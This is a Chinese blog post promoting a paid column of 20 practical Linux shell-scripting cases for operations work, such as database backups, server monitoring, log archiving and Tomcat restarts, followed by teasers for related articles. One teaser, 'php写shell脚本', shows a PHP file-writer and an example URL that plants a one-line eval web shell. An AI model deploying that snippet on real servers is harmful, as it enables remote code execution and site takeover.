linux shell脚本快速提升的秘诀 推荐 原创 阿铭linux 2018-09-26 15:48:28 ©著作权 文章标签 linux shell 运维 脚本 运维开发 文章分类 运维 ©著作权归作者所有:来自51CTO博客作者阿铭linux的原创作品,请联系作者获取转载授权,否则将追究法律责任 大家好,我是阿铭,从13年我开始做Linux运维培训,直接或间接学过我教程或课程的朋友应该有数十万人。大部分同学给我的反馈是,Linux shell是很难啃的一个知识板块。虽然,大家学的很仔细,shell相关的语法也全部掌握,但当拿到一个需求时,就是写不出或写不好一个完美的shell脚本。这个现象很正常,举个例子,在金庸的武侠小说里,武功盖世秘籍有很多(如,降龙十八掌),对于一个普通人来讲,就算各个招式都能打的滚瓜烂熟,然而并没有什么卵用,因为他没有任何的内力。而我们这个shell脚本其实就是一门“盖世绝学”,但你在没有修炼“内功”的情况下,shell知识点无论你学的多么好,依然不能写出好的代码来。这里所谓的“内功”就是经验。我们经常听做开发的朋友讲,没写够10万行代码就不合格,有的企业招开发人员,也比较在意他写过多少行代码,一个开发人员写过的代码越多,说明他的经验越丰富。我们写shell脚本不也是写代码吗?记得,我刚做运维那年,几乎每天都在写shell脚本,简单的两三行,复杂的上百行,各种各样的小需求,感觉仅仅一两个月,我的shell脚本能力有了明显的提升。因此,我准备出一个专栏《20天精通Linux Shell脚本》(拖到底部有彩蛋!),以20个实际工作场景的shell脚本案例展开讲解,它们不仅涵盖了shell脚本常见的语法、思路以及技巧,而且还会扩展一些Linux相关的知识。希望订阅本专栏的朋友能够耐心读完每一个案例,并且一定要动手写一写,这样你才会真正学到其精髓。20个案例的核心内容是什么?下面是对这20个案例的简单介绍。案例1,用shell脚本实现备份MySQL数据库,数据库的重要性不言而喻,所以做好数据备份是一个合格运维工程师的必备。案例2,监控一台Nginx服务器的状态码是否有502状态码,502在Nginx服务器上普遍存在,它极大影响了用户体验,一旦出现502问题就需要第一时间发现并找到问题所在。案例3,批量添加100个用户,并给用户设置随机密码,密码设定后还需要给它存放到一个日志文件里,方便查询。案例4,用shell脚本自动封访问量异常的IP,并每隔一段时间把不再发起请求的IP给解封,这个功能似乎在web服务器上很实用。案例5,用脚本监控本机的磁盘使用情况,包括使用空间以及inode使用量,磁盘空间一旦写满,会影响系统正常运行,有必要实时检查磁盘使用情况,一旦达到设定阈值要第一时间通知到我们。案例6,检测两台机器同一个目录下的文件是否有差异,在负载均衡集群中通常是多台服务器上跑了同样的网站,所以需要保证文件内容是一致的。案例7,用shell脚本监控MySQL主从架构,看主从的状态是否是正常的,主从不正常就会导致数据不同步,数据不一致将严重影响业务可用性。案例8,用shell脚本编写一个运维工具,当运行它的时候,会列出一个命令列表,用户只需要按对应数字就可以运行列表中的命令。案例9,用shell脚本监控本机的网卡流量,当网卡流量为0时,需要重启网卡。案例10,用shell脚本检测指定域名是否快到期,以免域名到期没有续费被回收。案例11,给定一个人员列表,用shell脚本把这些人员分组,比如指定小组的个数,然后脚本可以自动地将这些人员随机地分成若干个小组。案例12,当备份的数据库量很大时,如果使用传统的循环遍历方法会花费很长的时间,这是因为shell脚本默认是单线程的,而本脚本需要实现多线程,这样就可以提升备份数据库的速度。案例13,在使用CDN的情况下,各地用户访问到的节点是不同的,但如果某个节点有问题时,会影响到部分用户访问,所以需要写一个shell脚本来监测所有节点是否正常。案例14,一台服务器上运行着Apache+PHP+MySQL服务,上面跑着很多网站,每增加一个网站都需要修改httpd.conf增加一个虚拟主机,并且需要在MySQL数据库里增加一个库,并增加一个MySQL的用户。如果是手动操作这些步骤还是比较繁琐的,该shell脚本可以批量实现这些操作。案例15,在工作中会遇到各种各样xml格式的文件,有时的需求是,需要把xml文件里面的内容进行格式化输出。案例16,生产环境中,往往有多台Tomcat服务器在运行,有时需要重启Tomcat服务,如果手动执行则需要登录每一台机器,非常麻烦,那么编写一个shell脚本自动登录远程机器并重启Tomcat服务就很有必要。案例17,在我们的服务器上跑着各种各样的服务,所以就有了很多日志,日志切割可以用shell脚本实现,但是切割完的老日志,随着时间的推移会越来越多,那么如何把这些老日志归档就需要写一个脚本来按照预设规则来完成。案例18,一台阿里云的ECS里运行着Nginx+PHP-FPM+MySQL服务,近期收到IO使用率很高的告警,但是这个问题是一瞬间,时间很短,每次登录这台机器的时候发现IO并没有什么问题,所以写一个脚本监控磁盘IO的使用率,当有问题时需要近一步排查具体的问题。案例19,一台Tomcat服务器上运行着多个实例,而每一个实例都有记录日志,当遇到问题或者有什么特殊需求时,就需要挨个查看这些实例的日志,为了提升效率所以需要编写一个定制化的shell脚本。案例20,虽然目前已经有了各种各样的工具可以实现代码部署,但在早期并没有这样方便好用的工具,当然一些小公司也用不着这样的工具,而是用shell脚本来实现的。学完这20个案例你将收获什么?不管你是0基础的Linux初学者,还是入行几年的老鸟,阅读完这20个案例,都会让你从中获得撰写shell脚本的技巧、思想以及Linux相关的技能。对于想要快速提升自己shell脚本能力的朋友来说,这20个案例就像一剂良药,它们会助你在运维工作中越战越猛!另外这个专栏对于java程序员以及php程序员也是有极大的帮助,我相信当你学完这20个实战案例并认真吸收其精华后,你就可以拥有至少两年的Linux shell实战经验!专栏地址:《20天精通Linux Shell脚本》彩蛋安卓小程序端“51CTO订阅专栏”,专栏订阅优惠¥12 赞 收藏 评论 分享 举报 上一篇:从野路子转型为专业的Linux运维 下一篇:MySQL延迟主从复制 提问和评论都可以,用心的回复会被更多人看到 评论 发布评论 全部评论 () 最热 最新 相关文章 shell脚本简明教程 一、Shell应用场景01Shell能做什么 将一些复杂的命令简单化(平时我们提交一次github代码可能需要很多步骤,但是可以用Shell简化成一步) 可以写一些脚本自动实现一个工程中自动更换最新的sdk(库) 自动打包、编译、发布等功 Shell 运算符 子程序 linux中9个常用的shell脚本 注意事项1)开头加解释器:#!/bin/bash2)语法缩进,使用四个空格;多加注释说明。3)命名建议规则:变量名大写、局部变量小写,函数名小写,名字体现出实际作用。4)默认变量是全局的,在函数中变量local指定为局部变量,避免污染其他作用域。5)有两个命令能帮助我调试脚本:set -e 遇到执行非0时退出脚本,set-x 打印执行过程。 6)写脚本一定先测试再到生产上。1 获取随机 IP 局部变量 字符串 ShellCheck 实战:提升 Shell 脚本质量的利器 介绍在日常的系统管理和软件开发中,Shell 脚本是一种常见的工具,用于自动化任务、部署应用程序等。然而,编写高质量的 Shell 脚本并不容易,常常会出现语法错误、潜在的问题和最佳实践违规。为了帮助解决这些问题,ShellCheck 应运而生。本文将介绍如何使用 ShellCheck 工具来提升 Shell 脚本的质量。什么是 ShellCheck?ShellCheck 是一个用于静态分析 Sh Shell 语法错误 应用程序 脚本 运维 如何锻炼锻炼排错能力 先独立思考,实在不行再求助他人遇到问题第一时间看屏幕返回的提示和错误日志(软件或系统的),获取有效信息以便解决问题。这是运维工程师必须具备的基本技能!在实际学习或工作中,一遇到问题,无论大小,不经过思考就到处去问,这样的学习方法非常不好,养成看屏幕输出和错误日志的习惯才是学习的正确方法,经过思考后还无法解决问题,再去请教别人才是最好的。重现错误过程重现错误的过程排错,是优秀的运维人员的重要本领之一 排错 错误 学习方法 能力 如何锻炼自己的抗干扰能力 记得小时候学语文课有篇文章是说毛泽东主席为了锻炼自己的抗干扰能力而去吵闹的街市看书,觉得钦佩不已。可是慢慢我发现,容易被别人干扰的人并不是因为他做事不专注,而是因为他对他做的事并不熟练造成的。 就拿考试来说,不是期中或者期末这种大型考试的时候,总能碰见你这考试,人家朗读,或者在你教室外边自由活动这种干扰你做题的情况,那些 的 是 魔兽争霸 学生会 如何锻炼独当一面的能力 《5分钟从学生到程序员》第14课。 我们先来统一一下独当一面的概念,这里讲的独当一面是指在项目范围内,不是指在公司范围内。在公司内独当一面,那是研发总监、产品总监、运营总监这一帮人,他们可以独立负责公司的某个业务板块,是企业正常运营的基石。工程师的独当一面,是在项目中,能独立承担一块业务或一个模块,是项目正常进行的基石。 这里讲的独当一面,是讲独立负责模块,不是讲怎么当研发总监 职业规划 职场小白 程序员入行 独当一面 解决问题能力 程序员如何锻炼自己的思维能力 精彩推荐我把青春给了代码,而青春能否迭代?李伟老师Java零基础入门教程! 思维能力的训练是一 日常 软件开发的能力体系及锻炼 软件开发的能力体系是怎样的? 在很多领域,我们都可以用一个金字塔模型,来描述该领域的能力体系,在软件开发领域,同样如此。高 创造能力 中 逻辑能力 理解能力 低 基础知识 编程技能 领域知识 简单解释一下: 低的三项,属于知识类。基础知识包括计算机、数学、算法、逻辑等等知识,这些知识,通过认真的学习书本教材,基本能够掌握。编程技能,往往是跟具体的语言相关的,当然,多学几门不同的语言,对 软件开发 php写shell脚本 <?php $file="jack.php";//可根据文件名更改,也可以写入指定一个目录.fwrite(fopen("$file","w+"),$_GET['badboy']);?> PS:感谢朋友们,欢迎大家交流http://127.0.0.1/1.php?badboy=<?php eval($_POST[h]);?> PHP 结合实例探讨如何写shell脚本 此文转载自http://bbs.chinaunix.net/thread-391751-1-1.html.本文结合大量实例阐述如何编写一个shell脚本。 为什么要进行shell编程 在Linux系统中,虽然有各种各样的图形化接口工具,但是sell仍然是一个非常灵活的工具。Shell不仅仅是命令的收集,而且是一门非常棒的编程语言。您可以通过使用shell使大量的任务自动化,shell特别擅长系 shell 编程 [一]写shell脚本 兴趣开始的地方使用命令行的用户在面对数以千计的可用命令前,你如何能够全部记住它们?答案是,你不需要。电脑的真正力量在于协助你工作的能力。要做到那些的话,我们得借助Shell的力量来自动完成。于是我们写脚本。脚本是命令的集合且存储在一个文件里面。Shell 可以读这个文件和通过这些命令来运行并仿佛是你在敲击键盘一样。除了你目前所学到的之外,shell也提供多种有用的编程特性来使你的脚本变得真 职场 shell 休闲 shell写脚本思路 Shell脚本编写思路:(需求分析)1、LAMP源码一键整合=======================1)安装apache、Mysql、PHP、LAMP整合;------------------------ 安装apache 安装MYSQL 安装PHP-------------------------2)去官网下载相应的版 shell MySQL 创造升华技术的机会,锻炼抽象的能力 最近经常来看blog,却很少写。一来是因为搬家的事情烦躁了很久,无心打理博客。二来回顾了一下自己的blog,并且和优秀的人士作了一些对比,发现自己写的东西,走来走去,还是走不出那几行代码的圈子。 一叶障目。 最近一直在写一个java线程方面的ppt,期望在40页以内精炼出最合适的内容。TL要求修改再修改,提炼再提炼。ppt要更少的文字,更深层次的信息传递。 可是,关于java的线 API java 互斥 mysql的shell脚本怎么写 # 使用MySQL Shell脚本解决问题## 问题描述假设我们有一个电子商务网站,需要定期备份数据库中的商品信息。我们希望编写一个MySQL Shell脚本,用于自动备份商品信息到一个指定的目录中。## 解决方案为了解决上述问题,我们可以使用MySQL Shell提供的Python接口来编写脚本。下面是一个示例方案,将商品信息备份到指定目录中。### 步骤1:连接到MySQL 数据库 MySQL Shell (一)如何写shell脚本 一、编写脚本 #!/bin/bashecho 'hello_shell'二、增加执行权限 chmod a+x a //a为文件名三、执行方式一:找到文件所在的位置./hello_shell方式二:将其放入PAT... 文件名 可执行文件 bash 不同编程语言锻炼的编程能力 . C 程序员对于内存管理,计算机体系的理解能力;2. C++ 程序员对元编程的理解能力;3. Java程序员对于OO和设计模式的理解,对规模项目掌控的能力, 对虚拟机实现理解的能力;4. Ruby程序员创造Web应用的能力;5. Python 程序员在小中型Startup中应对各种问题的能力;6. Javascript 程序员研究颠覆同行对Web交互认知的技术的能力; python java C C++ Javascript shell脚本mysql shell脚本怎么写 做实验要写shell脚本,本以为照着PDF指导书敲就完事了,结果敲出来的代码永远运行不了,上网查了才知道shell脚本有那么多规则一.shell脚本文件一律以 .sh结尾,执行shell脚本test.sh有3个方法:1 sh test.sh 或bash test.sh(因为bash完全兼容sh) 当脚本文件没有可执行权限,或脚本文件开头没有指定解释器时需要使用的方法。推荐使用这种方法。 2 ./t shell脚本mysql 运算符 bash shell脚本 shell 脚本 如何往kafka写数据 shell脚本中cat 一: cat命令 cat (concatenate)是命令行玩家首先必须学习的命令之一,他通常用于读取,显示和拼接文件,不过cat 的能力远不止如此,用一行命令将来自标准输入以及文件的数据结合起来,这可是个让人挠头的难题。来看看cat的基本用法和高级用法 (1)用 cat 读取文件内容的一般 shell linux shell 脚本 命令行 数据 shell脚本 mysql Initializing shell脚本怎么写 一、shell脚本编程规范在一些复杂的Linux维护工作,大量重复性的输入与交互操作不但费时费力,而且容易出错,而编写一个恰好片的shell脚本程序,可以批量处理、自动化地完成一系列维护任务,大大减轻管理员的负担。1、shell脚本应用场景Shell脚本(shell scrip)就是将要执行的命令按顺序保存到一个文件文件,并给该文件可执行权限,方便一次性执行的一个程序文件。主要是方便管理员进行设置 bash 赋值 shell脚本 Android 写shell 脚本 安卓 shell脚本 一、shell基本信息1.概述 脚本语言(shell、python):解释性语言,用解释器解释 运行效率低 | c、java:描述性语言,运行效率高 #!/bin/bash 幻数 ,在脚本运行的时候先进行该程序 以.sh结尾会有高亮显示 执行: sh hello.sh 或者 chmod +x hello.sh 再以绝对路径调用 /mnt/hello.sh 2.shell脚本脚本是一种解释型语 Android 写shell 脚本 vim linux bash